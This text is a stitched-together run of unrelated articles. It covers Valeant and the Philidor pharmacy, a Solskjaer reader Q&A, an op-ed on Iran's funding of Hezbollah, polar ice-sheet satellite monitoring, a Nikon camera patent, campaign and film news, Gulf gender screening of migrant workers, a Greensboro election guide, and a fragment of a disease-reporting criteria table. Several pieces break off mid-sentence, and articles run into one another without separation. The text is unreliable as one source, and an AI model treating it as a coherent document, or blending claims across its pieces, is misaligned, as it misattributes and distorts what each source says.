This was an extraordinary development. Reitz had long suspected there was some kind of relationship between Valeant and Philidor. Now he had concrete proof. The letter from Chai-Onn indicated that Valeant, the pharmaceutical industry’s answer to Berkshire Hathaway, was overseeing Philidor, a shady mail-order pharmacy inappropriately filling prescriptions for its drugs. And Chai-Onn, a member of Valeant’s C-suite, was acting as a collection agent for the whole scheme. Chai-Onn’s letter made clear that the checks Reitz had been bundling and sending to Pennsylvania, once cashed, were showing up as revenue in Valeant’s quarterly reports to investors. In Reitz’s view, his identity had been stolen, and Wall Street’s pharmaceutical darling was using it to turn a profit.
On October 6, 2015, Reitz sued Valeant. There were two possible options, his lawyer wrote in his initial complaint. First, Valeant was engaged in a massive conspiracy to defraud. Second, Valeant itself was being defrauded. The lawyer wasn’t sure which. Exhibit A in the complaint was Chai-Onn’s letter. Valeant filed a counterclaim against Reitz, portraying him as a rogue agent who took delivery of millions of dollars of product without paying for it. A spokesperson from the company denied all claims of fraud.
Even before Reitz’s lawsuit, Valeant was encountering problems. In September, news broke that Martin Shkreli, the CEO of the newly formed Turing Pharmaceuticals, had acquired the rights to a little-used toxoplasmosis drug named Daraprim and was raising its price from $13.50 to $750 a pill. The headlines caused an uproar. In response, Hillary Clinton’s campaign tweeted: “Price gouging like this in the specialty drug market is outrageous. Tomorrow I’ll lay out a plan to take it on.”
The tweet spooked Valeant investors. Shkreli had no connection to the company |
, but I felt Cardiff was the right time for me. I don’t regret it – stand by your decisions. If they’d known what they know now, maybe they wouldn’t have done it; maybe I wouldn’t have done it. It was a valuable experience, but it didn’t turn out well. I feel bad when I look at the results. It’s hard when you get relegated. But I can look back and say I wasn’t ready. And I never dreaded going into work at Cardiff. Vincent [Tan] and I spoke a lot – that was never an issue. He wanted his team to be successful, and he’s right to do what he wants to do. I wish him all the very best.
Do you regret saying: “Let’s make sure we finish above Swansea” when you arrived?
Huw Mellor, Fernham
That was the aim and I felt we could do it, but we were unlucky because Swansea changed their manager just before we played them. That turned their season, and it probably turned ours as well when we lost at their place. They could have waited another week or so before Garry Monk got the job...
How did the initiation ceremonies in football compare with the ones in the army when you did national service?
Dave, via email
I was only 19 but we were all new recruits together so you didn’t have to impress anyone. It’s harder to come into a team of footballers and dance or sing. At Cardiff I sang What Does The Fox Say? in front of the players – it was Norway’s anthem that year. That’s strange when you’re supposed to be the players’ boss. But that was me making a fool of myself in front of them because I wanted them to never be afraid of making mistakes. They were. At times it felt like they thought they weren’t good enough for the Premier League.
Would you rather play for Louis van Gaal or be eaten by a hungry bear?
@TripleMeasures, via Twitter
Before every game Sir Alex would say: “Express yourselves, enjoy the game, show us what you can do, but work your bollocks off.” That’s the Manchester United I want to see again, where players move freely and get in behind. But we’re all different. Louis van Gaal has got a fantastic CV, so I can’t criticise him.
Embedded video for The big interview: Ole Gunnar Solskjaer – "At first I wasn’t mean enough. My teams weren’t solid – now I’ve learned a lot"
Can Ryan Giggs be a great United manager?
Chris, Stevenage
Definitely. Ryan’s got the Manchester United DNA inside him. He’s a very bad loser, like everyone has to be if they want to be successful.
You once said you unwind with Football Manager. Do you still do that as a manager? How realistic is it?
Andy, Gloucester
I’ve not really played it as a manager, although last year when I was out of a job I did play it again because I like to make decisions. The big difference is that there are no human relations. When you get to know players, they’ve got problems: they’ve got kids who are ill or wives who have left them. You can say: ‘I’ll play 4-4-2 or 4-3-3’ but tell an international player: ‘This is the reason I’m leaving you out, again’ and it’s a tough job. Can you trust this agent or that agent? How are you going to answer the press when you have lost? You’ve got two minutes to think of something. On Football Manager you’ve got five options! But it’s a great game.
Has your experience with Cardiff put you off managing in the Premier League or Football League again?
@StewartsGloves, via Twitter
I became Molde manager the first time with the aim of doing as well as I could for Molde but knowing I was going to manage in the Premier League. I was chasing that career as a manager. This time I’m not looking at that. I’m completely different in my mindset – if it comes, it comes. We got through [the group] in the Europa League: we beat Celtic twice, we won at Fenerbahce, we didn’t lose to Ajax. It was historic – an unbelievable achievement for this club. To have those matches... no disrespect but when you look at some of the Championship teams that I managed against, this is the better option.
If I manage again in a different country, my team is going to be solid, but I can never stray away from the way I want my teams to play football – with creativity and imagination, just as I learned under Sir Alex Ferguson. Is United still the dream job for me? Every Manchester United player who goes into management has that ultimate dream.
This feature originally appeared in the April 2016 issue of FourFourTwo magazine. Subscribe!
New features you'd love on FourFourTwo.comU.S. administration officials are still defending the nuclear deal by assuring us that Iran will only use the $50 billion “signing bonus” they expect to receive on the country’s internal needs. No Iranian official has ever promised that, not even to the Iranian people who have been struggling with economic hardships. Yet the U.S. administration has presumed that Iran’s infrastructure is more significant to the regime than hegemony over Syria, Lebanon, and Iraq.
Let’s imagine a scenario where Iran decides to spend the windfall on infrastructure and on addressing the needs of the Iranian people, as Treasury Secretary Jacob J. Lew assured the world it will in an address to the Washington Institute last month. The Iranian people will surely be relieved, and the credibility of the reformists will probably increase. But most significantly, Iran will become a nation with no ambitions for regional dominance. Iran will eventually have to let go of Syria’s Assad, Hezbollah, and all their militias in the region—including those in Yemen and Iraq, because the money is needed for infrastructure and to help rebuild the country’s own economy. The mullahs will then sit down with the world powers to find a realistic political solution for Syria, and stop the bloodshed. Wonderful, isn’t it?
Unfortunately, the Obama Administration’s big hopes are unlikely to pan out, for two big reasons. One, no one has forced or will force Iran—deal or no deal—to stop its military operations in the region, so why would they? They can spend the $50 billion both internally and on their regional militias and maintain some kind of “Resistance Economy” until sanctions are lifted and investments get going. Two, Syria is too significant for Iran to just let go, as Iranian officials have declared publicly many times. Without Syria, Iran will lose its link to Hezbollah, and thereby its leverage over Lebanon and its borders with Israel. If this leverage is lost, Iran will be forced to let go of its ambitions to become a main regional player and to forget about exporting the Islamic Revolution, the hope on which the regime was founded.
With the recent gains by rebels, Iran seems to be losing in Syria if it doesn’t boost its military operations soon. A political solution that won’t guarantee Iran’s link to Lebanon through Iraq and Syria will not pass. Even if Iran and the world powers reach a compromise to divide Syria and guarantee Iran’s control of certain areas, the rebels on the ground and their regional backers will not accept it. Attempts to achieve more gains by the rebels will continue, and Iran will never be able to stop fighting. More fighting requires more money. It is that simple.
Iran’s Real Budgetary Priorities
A look at Iran’s current budgeting shows that the country’s leadership seems to be boosting its military budgets at the expense of providing services to the Iranian people. And contrary to recent assertions by President Barack Obama himself, Iran’s programs of regional subversion and terror do not come cheap. Even under sanctions, Iran has been bankrolling Hezbollah with up to $200 million a year. This budget has been recently cut by 40 percent in 2015 due to the economic crisis Iran is facing, which has been caused by sanctions and the drop in oil prices. However, this cut affected Hezbollah’s social and health services, not its military budget. Services were sacrificed for the sake of military strength.
In addition to the lack of services, salary cuts and delays in payments, reported by Newsweek in January, Hezbollah has decided to reduce the coverage of its social security by withdrawing the “Nour card” from many members and their families. The Nour Card is like a Social Security card that provides medical and other basic services to its holder in addition to major discounts in certain shops. The clear message here is that whatever money the party possesses needs to be allocated to the military. The community will have to sacrifice—as Hezbollah’s leader Hassan Nasrallah has repeatedly asked—until victory is achieved, or until the economy gets better. Earlier this year, Nasrallah reassured the Shiites that a deal between Iran and the West will make Hezbollah and its allies stronger. He did not mention the money Iran will receive for signing the deal, but his meaning was clear.
Hezbollah’s community is waiting eagerly for the money to come back, not only because of the lack of services, but mainly because the war has lasted too long. They believe that more money will certainly boost the military budget and raise Hezbollah’s winning chances in Syria.
There has also been a hike in the military budget in Iran. President Hassan Rouhani, who was supposed to have been elected by the Iranian people because of his reformist ideas and concern for people’s needs, was the one who announced last year a hike in military spending by 33.5 percent in the 2015 fiscal year, despite the “cautious, tight” budget he presented to parliament. Most of this military budget will be assigned to the elite Revolutionary Guards. For public employees, Rouhani proposed a 14 percent wage increase.
Sanctions and a drop in oil prices have cost Iran over $160 billion in oil revenues since 2012, and its GDP shrank by 9 percent. So yes, Lew is right. Iran will have to address those needs to attract investment. But what Lew misses is that Iran’s military budget, chiefly that of the revolutionary guards—the institution which has been supervising and leading Iran’s regional military operations—is far more important than domestic needs.
How Much Does Hezbollah Cost?
Hezbollah’s cut in social services to the Shiites did not apply to the fighters and their families. According to recent reports the Party of God is paying an average of $1,000 a month per fighter, depending on their rank and responsibilities. The Lebanese Shiites cost the most, followed by Iraqis, then Pakistanis and Afghanis.
The Financial Times reported last month that Hezbollah had doubled its deployment in Syria to between 6,000 and 7,000 fighters due to the regime’s manpower crisis, costing the party a bigger budget in salaries, equipment, and weaponry. But military budget is not limited to ground troops. Hezbollah’s war budget reaches a bigger structure of institutions and compensations that support its operations.
In addition to the Jihad Council that foresees the military operations and costs, there are other institutions that are still functioning, such as media, health, and social institutions. They might not provide services to the same number of beneficiaries as they used to, but they still cater to the fighters and their families. Al-Manar TV—their media arm—is still a vital propaganda tool used to keep the community rallied around Hezbollah’s war against “the takfiris.” Al-Manar’s budget alone is at least $15 million per year.
Hezbollah also operates the Jihad Construction Foundation, Jihad El Binaa, the Martyrs’ Foundation, the Foundation for the Wounded, and the Khomeini Support Committee. Hezbollah’s Martyrs’ Foundation provides financial assistance and health and social services to the families of the “martyrs.” Sources in the Southern Suburbs in Beirut told Tablet that for each “martyr,” Hezbollah pays his family between $25,000 and $45,000. The Foundation for the Wounded provides assistance to those who have been injured during combat. Other organizations include Hezbollah’s Islamic Health Unit—with more than three hospitals and 12 health centers, Hezbollah’s schools, which serve around 15,000 students, many of whom receive financial assistance and scholarships.
Of course the military budget costs the most, but these institutions all drain Hezbollah’s budget. With less than $200 million per year, Hezbollah can still manage the necessary services needed for its current operations. Imagine what it could do with even a small part of $50 billion.
Why Losing the War In Syria Is Not an Option
According to the Christian Science Monitor, Staffan de Mistura, the United Nations envoy to Syria, recently told a private gathering in Washington that Iran has been channeling as much as $35 billion a year into Syria. This figure is probably exaggerated, but the Financial Times reported that Syria has so far cost Iran around $10 billion a year. Iran’s economy can no longer handle this budget. Syria’s defense minister was recently in Tehran asking for $6 billion but got a promise of $1 billion. In compensation, Iran recently sent 15,000 of its Revolutionary Guard fighters to Syria’s coastal side, in an attempt to take back Jisr el-Shougour from the rebels and protect Hama and Damascus.
Meanwhile, Hezbollah is stretched out to very dangerous extents, and 15,000 new fighters won’t be enough to cover all the battle lines from Qalamoun to the Alawite coast. These fighters will have to protect the status quo on the ground, until the end of the month when Iran gets its bonus. Then, more Shiite fighters will be brought in from all over the Middle East and Asia, and Hezbollah will be able to breathe again.
Hezbollah will not go back to Lebanon as long as Iran’s war is raging on, but it will also not let go of Lebanon and its Shiite support base. To preserve this base, Hezbollah will have to go back to providing services to the Shiites, not only to Hezbollah’s fighters and members. Otherwise, discontent will grow.
Hezbollah desperately needs to revive its “provider” role so that it stays the guardian of the community, who both protects and provides. Without this role, the Party of God, and eventually Iran, will lose the Shiites and eventually the tools to fight for dominance in the region.
When Iran’s finances improve, its services to its people and the Shiites in Lebanon will improve—but not at the expense of the military operations and regional goals. Obama’s $50 billion check to Iran will make sure of that.
***
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Hanin Ghaddar is a Friedmann Visiting Fellow at the Washington Institute for the Near East Policy. Her Twitter feed is @haningdr.SAN FRANCISCO—Three years ago, scientists discovered that ice loss in Greenland and Antarctica has accelerated since 1992 due to climate change.
Now the same group of scientists has launched an initiative to use satellite data to continually monitor changes in ice mass at the poles. Their work will be made easier in the coming years as space agencies around the world are launching new satellites to track polar ice.
“There are processes we know about that happen in the ice sheet—we can see them on land, and from sky and space—that can cause them to destabilize really quickly,” said Andrew Shepherd, a professor of earth observation at the University of Leeds.
The initiative, called IMBIE (ice mass balance inter-comparison exercise), is meant to address one of the fundamental unknowns about climate change: By how much will sea levels rise in the next century, and what is the probability of disastrous sea-level rise? The Intergovernmental Panel on Climate Change estimates that sea levels will likely rise by 26 to 82 centimeters by 2100. But some scientists have suggested that the rise could be a meter (3.2 feet) by the end of the century.
These numbers are extremely uncertain because global climate models, which re-create the atmosphere-ocean-land system, do not include detailed ice sheet processes. That means that contributions to sea-level rise driven by instability in the ice sheets do not get factored into estimates.
Scientists have noticed a number of processes destabilizing ice sheets. For instance, ice melt at the surface flows to the bed of a glacier, causing it to slide more quickly into the ocean. The disintegration of ice shelves, which are fingerlike projections of ice that float on the ocean and plug the flow of glaciers, also increases the rate of glacial flow into the sea.
Satellite data suggest that destabilizing processes have significantly increased the rate of sea-level rise since the 2000s, Shepherd said at an American Geophysical Union meeting last month.
Data and beyond
Scientists have used satellite measurements of the poles to calculate the loss from the Antarctic and Greenland ice sheets. But their techniques have varied widely. So in 2012, a global community of scientists, led by Shepherd, synthesized the various studies and provided a cohesive picture of changes at the poles.
Their study, published in Science in November 2012, found that the Greenland and West Antarctica ice sheets raised global sea levels by 11.1 millimeters between 1992 and 2011. This accounted for one-fifth of the observed sea-level rise (ClimateWire, Nov. 30, 2012).
“We take all the data collected and make good use of it, and we replace 40 or 50 assessments of ice sheet losses with a single record that people can trust because it’s a community assessment,” Shepherd said.
Since 2012, about 100 new studies have been published about Greenland and Antarctic ice sheets. That prompted the polar scientists to launch IMBIE last month in order to update their study every year. Their record would stretch over 40 years, as opposed to 19 in the previous study.
“Now, we have 15 satellite missions; we can go backward in time, making use of earlier satellite missions; and we know there are new missions on the horizon to give us better data,” Shepherd said.
The European Space Agency this year will launch Sentinel-3, which will measure topography over ice sheets and sea ice; NASA and the German Research Center for Geosciences will launch the GRACE follow-on in 2017, which will measure the weight of the polar ice sheets and track changes in mass; NASA will launch ICESat-2 in 2017 to measure the change in shape of an ice sheet; and NASA and the Indian Space Research Organization will launch the NISAR mission in 2020 to measure the speed of ice flow.
NASA’s focus is to go beyond just collecting data to bringing together scientists across fields of research to better understand the processes behind ice sheet destabilization, said Thomas Wagner, a program scientist at NASA.
Listening to the ice
“One of the things we need to do is change the way we view the ice in Antarctica,” Wagner said. “It is not that we are assembling information to predict how the ice will change; rather, the changes we are observing in the ice tell us about a lot of other things.”
NASA is also promoting CubeSats, which are miniature cuboid satellites—about the size of a loaf of bread—built using off-the-shelf components and launched, often for free, into low Earth orbit. For instance, the RainCube CubeSat, to be built next year, would measure rainfall from space.
“These satellites are in development right now,” Wagner said.
The ultimate goal of the scientists is to improve climate models and the certainty of sea-level rise projections. The 2012 IMBIE study has been widely used by the modeling community.
A modeling study published last month in Nature found there is a 5 percent chance that Antarctica ice melt would raise sea levels by 30 centimeters in the next century. And there is a 50 percent chance that sea levels would increase by 10 centimeters.
The study found that sea levels are unlikely to rise by more than half a meter.
“It is really important to put bounds upon the potential sea-level rise we might see from the ice sheets, and that’s our job these days,” Shepherd said. “How likely is a 1 meter of sea-level rise? Those are the sorts of questions we want to answer.”
Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500If you've ever been on a long shoot, then maybe you have experienced an overheating camera, and if so, then you know the frustration of waiting until it cools. Nikon aims to solve this issue. Nikon has a patent pending on a removable heat storage unit for DSLR cameras that absorbs the heat produced by the sensor. In the same way you might interchange batteries or memory cards, Nikon's removable heat storage will allow you to switch one out for another, allowing one to cool and keeping your longer shoots on schedule. For some more info and schematics, hit the jump.
DSLRs produce and emit a lot of heat, especially from the LCD screen when working in Live Mode for extended periods of time. Nikon's heat storage is arranged between the LCD screen and sensor, and will absorb the heat produced by the sensor through the Pelteir Effect. Once the temperature reaches or exceeds a predetermined level, the heat storage can then be interchanged with another unit like a battery.
This comes to us from Egami, which was machine translated by Nikon Rumors:
In a digital camera, a latent heat storage material is arranged near the image sensor, and there are some which suppressed the temperature rise of the image sensor periphery by carrying out accumulation of the heat emitted from the image sensor to a latent heat storage material by a phase change.
Since the patent was only recently filed in Japan (and our source is written in Japanese, which I don't speak), there really isn't a ton of information on this, like what cameras will be involved. However, we can all imagine that being able to interchange the heat storage on a DSLR will allow for greater efficiency on set, as well as saving filmmakers the headache of a hot camera.
What do you think? Has overheating caused you problems on set? Would something like this save you a lot of hassle? Let us know in the comments.
Link: Nikon patents removable heat storage -- Nikon Rumors
[via Egami]It was one of Donald Trump’s biggest lines at Sunday night’s second presidential debate in St. Louis. But now his campaign manager says he didn’t even mean it. During one of several television sit-downs Sunday night and Monday morning after she canceled a planned appearance on Fox News Sunday, Kellyanne Conway told Morning Joe that Trump does not really want to put Hillary Clinton “in jail” if he becomes president. “That was a quip,” she said. As for the special prosecutor Trump said he would appoint, Conway said he was just “channeling the frustration he hears from thousands of voters out on the stump.” As Conway further clarified, “Whether she goes to jail is not up to Donald Trump.” During the debate, when Clinton said “It’s just awfully good that somebody with the temperament of Donald Trump is not in charge of the law in our country,” Trump shot back, “Because you’d be in jail.”
Conway also denined Monday any rumors that she or Trump’s running mate Mike Pence might be quitting the campaign. But asked by Chris Matthews on Sunday night if she is with the campaign until the “bitter end,” even after the leaked tape in which Trump boasted of sexually assaulting women sent prominent Republicans running, Conway replied, “I’m with the campaign ’til the bitter end. Unless…” She then paused before muttering, “Who knows?” and then confirming that she has made a “commitment” to remain Trump’s campaign manager.
— Matt WilsteinSteven Yeun and Samara Weaving will star in the action movie “Mayhem,” sources have confirmed to Variety.
Joe Lynch is directing the film with Circle of Confusion producing. The company also produces Yeun’s AMC zombie drama “The Walking Dead.” Confusion partner Lawrence Mattis and head of production Matt Smith are producing with Royal Viking Entertainment’s Sean Sorensen.
Matias Caruso penned the script, which tells the story of a virus that infects a corporate law office on the day attorney Derek Saunders (Yeun) is framed by a co-worker and wrongfully fired. The infection is capable of making people act out their wildest impulses. Trapped in the quarantined building, our hero is forced to savagely fight tooth and nail for not only his job but his life.
The film is being financed by Avva Pictures, with Avva principal Mehrdad Elie also producing; Avva president of production Parisa Caviani is exec producing.
The pic is due to begin principal photography later this month on location in Belgrade, Serbia.
Yeun is best known for playing Glen on “The Walking Dead,” and the film would mark the actor’s biggest role to date. He recently appeared in “I Origins.” Yeun is repped by by Paradigm, Gotham/Principal and attorney Adam Kaller.
Weaving recently starred in McG’s “The Babysitter” for New Line. She is repped by CAA, Untitled and Shanahan Management in Australia.
The news was first reported by the Hollywood Reporter.Ever since the first teaser for Rogue One featured actor Alistair Petrie as a stern Rebel leader, reading off a list of offenses committed by the captive Jyn Erso, fans have wondered: Who is that guy?
The stately woman in the white caftan is Rebel ruler Mon Mothma, played by Genevieve O’Reilly this time, although the character was first seen marshaling the troops in Return of the Jedi when Caroline Blakistan had the part.
Given how die-hard fans strain for connection, speculation steered toward Petrie’s character being someone else of note, a figure already familiar from some other sector of the Star Wars storytelling universe.
The most popular guess: Petrie (best known for The Night Manager and Cloud Atlas) was playing an Imperial defector who had grown disillusioned with the dictatorship and ultimately joined the uprising against it.
The actor’s physical similarities to Agent Kallus on the animated Star Wars: Rebels show led some to wonder if the deadly insurgent-hunter eventually switched sides, with Petrie playing an older version of him on the big screen.
Like most fan theories, it was fun while it lasted. But Rogue One director Gareth Edwards says no, Petrie is simply playing an Alliance leader we haven’t seen before. “His name’s General Draven,” Edwards says.
The filmmaker was surprised that wasn’t already widely known. “It’s no official secret,” he says. “Sometimes I read stuff online like it’s this big thing that’s been leaked, and I thought, ‘Oh, I thought people knew that.'”
So there you have it. General Draven. We don’t know much about his backstory just yet, but give it time. If an official Star Wars tie-in doesn’t fill it in, you can count on some fans to imagine their own origin story for the good general.
For more Star Wars news, follow @Breznican.The Gulf Co-operation Council (GCC) will next month consider a proposal from Kuwait to introduce medical checks to prevent transgender people from entering the six-member Arab countries as migrant workers.
The Saudi-based Arab News reported this week that authorities in Kuwait's ministry of health have proposed "genetic tests" aimed at detecting transsexuals who wish to enter and work in Bahrain, Kuwait, Oman, Saudi Arabia, the UAE and Qatar, where the 2022 football World Cup is scheduled to be held.
Medical screening designed to determine the sex of migrant workers has already been in place for some time in some Arab countries but the new proposal specifically targets members of the transgender community.
"Undergoing the test will become mandatory for an estimated 289 health centres across the GCC if the health council approves the proposal of tighter controls on gender tests for migrant workers," Tawfiq Khojah, a GCC health official, told the English-language newspaper. In 2012, Khojah said, more than 2 million expatriates underwent the gender tests.
It is not clear how doctors will determine the gender identity of migrants and whether the new tests will include physical checks. Arab News said the medical history of the workers would be used in determining their gender.
The London-based human rights campaigner, Peter Tatchell, said the Kuwaiti proposal was unjust and discriminatory towards transgender people.
"Excluding expat workers because of their gender identity is immoral and doesn't make economic sense," he told the Guardian. "People should be employed solely on the basis of their personal integrity and their ability to do the job. Trans people make perfectly good, reliable employees."
The new proposal would also violate Fifa's non-discrimination values and prompts questions about Qatar's hosting of the 2022 tournament, Tatchell said.
"The proposals to test and ban foreign trans employees from the Gulf Co-operation countries will include Qatar and will penalise World Cup construction and hospitality staff from overseas who are trans," he said.
"If these plans get the go-ahead, Fifa should cancel the 2022 World Cup contract on the grounds that Qatar has violated Fifa's non-discrimination values. It should find a new host city for the 2022 tournament. Discrimination against trans people is incompatible with Fifa's commitment to equality for all."
Earlier in the week, the Dubai-based Gulf News quoted a Kuwaiti health ministry official as saying that the clinical screening targets gay people.
"We will take stricter measures that will help us detect gays who will be then barred from entering Kuwait or any of the GCC member states," Yousuf Mindkar, the director of public health at Kuwait's ministry of health, told a local newspaper. Some Arab countries are particularly sensitive to tourists or workers with Aids.
"There is no known medical test to detect homosexuality. I wonder what quackery the Kuwaiti authorities plan to invent in their vain attempt to identify gay men. It simply won't work," Tatchell said.
Unlike in most Arab countries, Iran legalised transsexuality after a 1987 fatwa by the late founder of the Islamic republic, Ayatollah Ruhollah Khomeini. Iran and its Arab neighbours, however, criminalise homosexuality. Despite the legalisation in Iran, the social stigma means that transsexuals there enjoy almost no more immunity than those in the Arab countries. Iran permits more sex-change operations than any other country, except Thailand, and has long subsidised such surgeries.UPDATE: Voting in the General Election? Find more information on the candidates in our 2017 General Election Guide HERE.
Early voting for the Oct. 10 primary elections in Greensboro and High Point opens today. For roughly two weeks, voters will be able cast their ballots at the Old Courthouse in downtown Greensboro and Washington Terrace Park in High Point. With more than 50 candidates on the ballot between the two cities, it’s the most exciting municipal election in at least six years. Visit the Guilford County Board of Elections to see who’s on your ballot, read this election guide and go vote.
GREENSBORO
Mayoral (vote for 1)
Nancy Vaughan (I): In her two terms as mayor, Vaughan has become a kind of standard-bearer of urban politics in North Carolina, presiding over a progressive council that passed resolutions opposing HB 2 and welcoming immigrants while shepherding a brisk downtown renaissance, albeit with a performing arts center as the signature project that’s running behind schedule. Like other progressive mayors facing discontent over policing, Vaughan has walked a difficult tightrope between responding to calls for reform and backing the police. In a normal political year Vaughan shouldn’t have to worry much about two newbie opponents, but it can’t bode well that Jennifer Roberts — a fellow Democratic mayor — was recently primaried in Charlotte this year.
John T. Brown: Greensboro elections are nominally nonpartisan, but the GOP donors, including the Greater Greensboro Republican Women’s Club, are decisively swinging behind Brown, a businessman given to overheated rhetoric. He argues that the city is hemorrhaging quality jobs, and that crime is out of control. His prescription for improving police-community relations is to have city council butt out.
Diane Moffett: A pastor at St. James Presbyterian Church and co-chair of the Greensboro Faith Leaders Council, Moffett has owned a house in Jamestown with her husband for 12 years, but updated her voter registration to a Greensboro the day she filed to run for mayor. An energetic and inspiring public speaker, Moffett’s platform of business promotion and inclusion is at heart not too far removed from the policies of the woman she hopes to unseat, although she’s gained traction with progressive reformers, earning a 4.3 rating from voters who attended Democracy Greensboro’s candidate/platform conference on Sept. 16.
At-large (vote for up to 3)
Yvonne Johnson (I): A former one-term mayor and city council member since 1993 — with the exception of a two-year gap from 2009 to 2011, the 74-year-old Johnson is like the den mother of Greensboro politics. The only African American who’s been elected mayor, Johnson has traditionally enjoyed support from the city’s development interests while maintaining a strong social justice voice. At Democracy Greensboro’s conference on Sept. 16, Johnson ticked through a number of initiatives she’s taken that align with the progressive group’s platform: Leading the charge to pay city employees a minimum of $15 per hour, being a champion for participatory budgeting, prodding the city attorney to sue the state to block a racially gerrymandered redistricting scheme, creating a Community Sustainability Committee and voting in support of unsuccessful efforts to create a police review board.
Marikay Abuzuaiter (I): A former restaurateur and protégé of Johnson’s, Abuzuaiter cut her teeth on the human relations commission before winning her first election to council in 2011. Now that she’s retired, the 63-year-old incumbent tells voters that serving on city council is her full-time job. Abuzuaiter has become a policy wonk on transportation, serving as a liaison to the Piedmont Authority for Regional Transit and troubleshooting dangerous crosswalks, but progressives have faulted her for reflexively backing the police when their conduct towards civilians is called into question. An endorsement from the Greensboro Police Officers Association suggests her efforts haven’t gone unappreciated.
Mike Barber (I): A longtime elected official, Barber served on city council from 2005 to 2009, and then returned to the dais in 2013 after a family sojourn in Spain and after reinventing himself as a youth-services nonprofit director. He’s a reliable vote for new development that will increase the city’s tax base, but he’s tangled with advocates for police reform. In a voter guide produced by the League of Women Voters and others, he identifies public safety as the most pressing issue facing the city, adding, “We are beginning to feel the effects of a number of factors leading to higher crime and gun availability on the streets. Opioid and other drug use, the continued erosion of school system effectiveness, [and] the challenges of supervision in economically challenged households are among a few.”
Irving Allen: Part of a wave of Black Lives Matter candidates in Greensboro politics, Allen is the nephew of the late David Richmond — one of the famed A&T 4 — and a member of the human relations commission. Allen’s call for investment in east Greensboro to offset the punishing effects of racial segregation will sound familiar, but his call for divestment from the police department is a break with his black political elders.
MA Bakie: A businessman involved in the export industry, Bakie highlights the need for investment in battered industrial corridors like Randleman Road, South Elm-Eugene Street and East Market Street, and argues that public safety is a perquisite for economic development. The police department needs to be “strengthened,” he told TCB, “so gang members will not overpower them.”
Dianne Bellamy-Small: When Bellamy-Small served as representative of District 1 for a decade, she played the role of firebrand, going to the mat for her constituents’ interests, even if meant fighting alone. Opposing a teen curfew in downtown was one example. Now that her ally-turned rival Sharon Hightower has succeeded her in District 1, Bellamy-Small is taking on a new role — that of seasoned veteran — as she attempts to return to council as an at-large candidate. She’s currently on the Guilford County School Board.
Jodi Bennett-Bradshaw: A special-education teacher with Guilford County Schools making her first run for elected office, Bennett-Bradshaw is given to dramatic declarations like, “It is time for white women like me to stand up and bravely say, ‘Black lives matter,’” but it’s not really clear how, if at all, they indicate the kind of job she would do as a city council member.
Tijuana Hayes: A former president of the Guilford County Association of Educators, Hayes retired from Guilford County Schools in 2014. She projects a positive and inclusive attitude in her pitch to voters. “I feel now is the time for Sister Hayes to get up off the couch and become more involved in the city,” she told voters at a recent Democracy Greensboro forum. “As a citizen, I will work for you, the citizens of Greensboro. I’m a native. I’ve been here all my life. I love Greensboro. Greensboro is a great place to live, a great place to work, a great place to advocate for the least of those among us.”
Sylvine Hill: A recent college graduate putting her sociology degree to work as a restaurant host in downtown Greensboro, Hill is making her second run for council, and speaks persuasively about the economic frustrations of her fellow millennials. An uncharacteristically reflective candidate, Hill has said she isn’t raising money for her campaign and plans to ride the bus on a “listening tour.” Ordinarily that doesn’t sound like a recipe for success, but in this strange political year, who knows?
James Ingram: Ingram attracted Republican state Reps. Jon Hardister and John Blust to his campaign kickoff and has earned the support of the Greater Greensboro Republican Women’s Club, but part of the first-time candidate’s bio is a temporary stretch of being homeless. Consistent with his conservative governing philosophy, Ingram favors low taxes and champions the generosity of the faith community. The 28-year-old Ingram is the kind of candidate who makes politics personal. “It’s all about letting someone know that there’s someone that loves you,” he said in a recent interview. “I want to fight for you.”
Dan Jackson: One of two at-large candidates with backing from Republican donors, Jackson wants to leverage his experience in supply management to make Greensboro’s tax rate more attractive to businesses considering relocation to the city.
Michelle Kennedy: The executive director of the Interactive Resource Center, the city’s homeless day center, Kennedy out-raised all 14 opponents in campaign fundraising through the end of August. An influential voice, Kennedy has been credited by Mayor Vaughan for helping her understand the criminalization of poverty, and she hasn’t shrank from criticizing the council for any number of shortcomings, including a panhandling ordinance that indirectly led to a Greensboro woman’s death in the county jail in |
status printed 10380 Hansen disease (Leprosy) Confirmed; unknown from CA 11590 Hantavirus pulmonary syndrome Confirmed and unknown from CA 11550 Hemolytic uremic syndrome postdiarrheal Confirmed, probable, and unknown from CA 10110 Hepatitis A, acute Confirmed; unknown from CA 10100 Hepatitis B, acute Confirmed; unknown from CA 10101 Hepatitis C, acute Confirmed; unknown from CA 11061 Influenza-associated pediatric mortality Cases with confirmed case status printed 10490 Legionellosis Confirmed; unknown from CA 10640 Listeriosis Confirmed; unknown from CA 11080 Lyme disease Confirmed and probable; unknown from CA 10130 Malaria Confirmed; unknown from CA 10140 Measles (rubeola), total Cases with confirmed and unknown case status printed 10150 Meningococcal disease (Neisseria meningitidis) Confirmed and probable; unknown from CA 10180 Mumps Cases with confirmed, probable, and unknown case status printed 10317 Neurosyphilis All reports printed
EXHIBIT. (Continued) Print criteria for conditions reported to the National Notifiable Diseases Surveillance System, 2011 Code Notifiable Condition Print Criteria*,† 11062 Novel influenza A virus infections, initial detections of Cases with confirmed status and cases reported from CA with unknown status, verified to be confirmed, printed 10190 Pertussis Cases with confirmed, probable, and unknown case status printed 10440 Plague All reports printed 10410 Poliomyelitis, paralytic Confirmed; unknown from CA that are verified as confirmed 10405 Poliovirus infection, nonparalytic Confirmed; unknown from CA that are verified as confirmed 10057 Powassan virus, neuroinvasive disease Data for publication received from ArboNET 10063 Powassan virus, nonneuroinvasive disease Data for publication received from ArboNET 10450 Psittacosis (Ornithosis) Confirmed and probable; unknown from CA 10257 Q fever, acute Confirmed and probable; unknown from CA 10258 Q fever, chronic Confirmed and probable; unknown from CA 10340 Rabies, animal Confirmed and unknown from CA 10460 Rabies, human Confirmed; unknown from CA verified as confirmed 10200 Rubella Cases with confirmed and unknown case status printed 10370 Rubella, congenital syndrome CSTE VPD print criteria used Cases with confirmed, probable, and unknown case status printed 11000 Salmonellosis Confirmed and probable; unknown from CA 10575 Severe acute respiratory syndrome-associated coronavirus (SARS-CoV) disease Confirmed and probable 11563 Shiga toxin-producing Escherichia coli (STEC) All reports printed 11010 Shigellosis Confirmed and probable; unknown from CA 11800 Smallpox Cases with confirmed and probable case status printed 10250 Spotted Fever Rickettsiosis Confirmed, probable, and unknown 10051 St. Louis encephalitis virus, neuroinvasive disease Data for publication received from ArboNET 10064 St. Louis encephalitis virus, nonneuroinvasive disease Data for publication received from ArboNET 11700 Streptococcal toxic-shock syndrome Confirmed and probable; unknown from CA 